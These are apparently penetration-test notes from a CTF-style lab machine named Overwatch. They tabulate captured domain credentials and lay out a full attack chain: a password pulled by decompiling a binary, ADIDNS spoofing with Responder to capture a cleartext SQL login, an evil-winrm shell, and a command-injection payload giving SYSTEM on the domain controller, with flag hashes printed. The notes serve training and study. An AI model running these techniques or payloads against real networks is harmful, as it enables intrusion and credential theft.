Overwatch — Credentials
| User |
Password / Hash |
Type |
Source |
Access Granted |
Tested |
| (any) |
(empty) |
Guest mapping (SMB) |
SMB to S200401 (Guest account enabled on DC) |
READ on software$, IPC$; share listing |
✓ |
OVERWATCH\sqlsvc |
TI0LKcfHzZw1Vv |
Domain user (Windows auth) |
Hardcoded connection string in loot/software$/Monitoring/overwatch.exe (decompiled with ilspycmd) |
MSSQL on 6520: dbo on overwatch DB, guest on master. LDAP bind works (used for ADIDNS update). NOT for SMB/WinRM (logon-rights restriction). |
✓ |
OVERWATCH\sqlmgmt |
bIhBbzMMnB82yx |
Domain user |
Cleartext capture via rogue MSSQL listener (Responder) after ADIDNS dynamic update spoofed SQL07 → attacker IP. Captured from TDS login packet of linked-server connection from S200401 SQL Server. |
MSSQL Windows auth (guest@master, not sysadmin). NOT a SQL login. SMB auth, WinRM Pwn3d! (BUILTIN\Remote Management Users), LDAP bind. |
✓ |
NT AUTHORITY\SYSTEM |
(no password — RCE) |
Effective SYSTEM via WCF command injection |
$proxy.KillProcess('x; whoami #') against http://localhost:8000/MonitorService from evil-winrm shell. Service runs as LocalSystem (NSSM-registered). |
RCE on DC = effective Domain Admin. Used to read C:\Users\Administrator\Desktop\root.txt. NTDS dump pending (extension goal). |
✓ |
Notes
- Guest account on DC is enabled. Any unknown username + empty password maps to Guest. This is a notable misconfiguration on Windows Server 2022 DC.
sqlsvc is heavily scoped. SeServiceLogonRight works for MSSQL Windows auth and LDAP simple bind (used by dnstool.py), but SeNetworkLogonRight is denied — so SMB/WinRM/native LDAP auth via nxc all fail.sqlmgmt was captured in cleartext, not as NetNTLMv2. The SQL07 linked server uses SQL Authentication (not Windows passthrough); the DC's SQL Server shipped the SQL login credential in the TDS login packet during the rogue connection attempt — documented Microsoft behavior when the remote server doesn't present a validated cert.- The name
sqlmgmt ("SQL Management") suggests an admin-level SQL account. If it's a SQL login only, it may be sysadmin on the local MSSQL instance — RCE via xp_cmdshell candidate. If it's also a Windows account, broader AD access.
- Password reuse not yet confirmed/denied — both creds are machine-generated random strings, no obvious pattern.
Credential capture chain
SMB Guest READ on software$
→ loot/software$/Monitoring/overwatch.exe (+ .pdb debug symbols)
→ ilspycmd decompile → "User Id=sqlsvc;Password=TI0LKcfHzZw1Vv"
→ MSSQL on 6520 as OVERWATCH\sqlsvc (dbo on overwatch DB)
→ discovered linked server SQL07 (host unreachable, all flags enabled)
→ dnstool.py ADIDNS add SQL07 A 10.10.14.175 (authenticated as sqlsvc)
→ Responder rogue MSSQL listener catches TDS login from S200401
→ sqlmgmt:bIhBbzMMnB82yx (cleartext)
→ evil-winrm shell as OVERWATCH\sqlmgmt (Pwn3d! via Remote Management Users)
→ user.txt = 1c74c6b9aff97086b2c7b733945d6799
→ re-read overwatch_decompiled.cs → KillProcess() PowerShell injection sink
→ New-WebServiceProxy http://localhost:8000/MonitorService?wsdl
→ KillProcess('x; <cmd> #') → RCE as NT AUTHORITY\SYSTEM
→ root.txt = 81ae7038a3c84081d764a3df4f49e6fe